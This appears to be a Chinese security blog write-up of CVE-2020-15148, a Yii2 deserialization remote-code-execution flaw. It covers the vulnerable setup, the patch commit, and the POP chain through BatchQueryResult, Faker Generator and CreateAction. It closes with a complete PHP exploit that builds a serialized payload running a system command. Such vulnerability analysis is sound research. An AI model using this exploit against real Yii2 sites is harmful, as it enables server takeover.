CVE-2020-15148 Yii2反序列化RCE POP链分析

  • A+
所属分类:安全文章

CVE-2020-15148 Yii2反序列化RCE POP链分析

本文作者:奶权
未授权禁止转发,尤其是黑白某道


影响范围

  • Yii2 < 2.0.38

环境安装

由于我本地的composer不知道为啥特别慢(换源也不管用),所以这里直接去Yii2的官方仓库里面拉。


CVE-2020-15148 Yii2反序列化RCE POP链分析


选择一个漏洞影响的版本yii-basic-app-2.0.37.tgz
解压到Web目录,然后修改一下配置文件。
/config/web.php:


CVE-2020-15148 Yii2反序列化RCE POP链分析


cookieValidationKey字段设置一个值(如果是composer拉的可以跳过这一步)
接着添加一个存在漏洞的Action
/controllers/TestController.php:


CVE-2020-15148 Yii2反序列化RCE POP链分析


测试访问(搭建成功):


CVE-2020-15148 Yii2反序列化RCE POP链分析



漏洞分析

由于没有漏洞细节,我们可以去Yii2的官方仓库看看提交记录:https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99?branch=9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99&diff=split


CVE-2020-15148 Yii2反序列化RCE POP链分析


在最新版中官方给yiidbBatchQueryResult类加了一个__wakeup()函数,直接不允许反序列化这个类了。


所以这里猜测该类为反序列化起点。
/vendor/yiisoft/yii2/db/BatchQueryResult.php:

<?php
namespace yiidb;

class BatchQueryResult{
/**
......
*/

public function __destruct()
{
$this->reset();
}

public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
/**
......
*/

}
?>

可以看到__destruct()调用了reset()方法
reset()方法中,$this->_dataReader是可控的,所以此处可以当做跳板,去执行其他类中的__call()方法。

全局搜索function __call(


CVE-2020-15148 Yii2反序列化RCE POP链分析


其中找到一个FakerGenerator
/vendor/fzaninotto/faker/src/Faker/Generator.php:


<?php
namespace Faker;

class Generator{
/**
......
*/

public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
/**
......
*/

}
?>


可以看到,此处的__call()方法调用了format(),且format()$this->formatter里面取出对应的值后,带入了call_user_func_array()函数中。


由于$this->formatter是我们可控的,所以我们这里可以调用任意类中的任意方法了。


但是$arguments是从yiidbBatchQueryResult::reset()里传过来的,我们不可控,所以我们只能不带参数地去调用别的类中的方法。


到了这一步只需要找到一个执行类即可。


我们可以全局搜索call_user_func($this->([a-zA-Z0-9]+), $this->([a-zA-Z0-9]+),得到使用了call_user_func函数,且参数为类中成员变量的所有方法。


CVE-2020-15148 Yii2反序列化RCE POP链分析


查看后发现yiirestCreateAction::run()yiirestIndexAction::run()这两个方法比较合适。


这里拿yiirestCreateAction::run()举例
/vendor/yiisoft/yii2/rest/CreateAction.php:


<?php
namespace yiirest;

class CreateAction{
/**
......
*/

public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}

/* @var $model yiidbActiveRecord */
$model = new $this->modelClass([
'scenario' => $this->scenario,
]);

$model->load(Yii::$app->getRequest()->getBodyParams(), '');
if ($model->save()) {
$response = Yii::$app->getResponse();
$response->setStatusCode(201);
$id = implode(',', array_values($model->getPrimaryKey(true)));
$response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));
} elseif (!$model->hasErrors()) {
throw new ServerErrorHttpException('Failed to create the object for unknown reason.');
}

return $model;
}
/**
......
*/

}
?>


$this->checkAccess$this->id都是我们可控的。所以整个利用链就出来了。


yiidbBatchQueryResult::__destruct()
->
FakerGenerator::__call()
->
yiirestCreateAction::run()


还是挺简单的一个漏洞。


EXP

<?php
namespace yiirest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls -al';
}
}
}

namespace Faker{
use yiirestCreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}

namespace yiidb{
use FakerGenerator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yiidbBatchQueryResult));
}
?>


CVE-2020-15148 Yii2反序列化RCE POP链分析


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: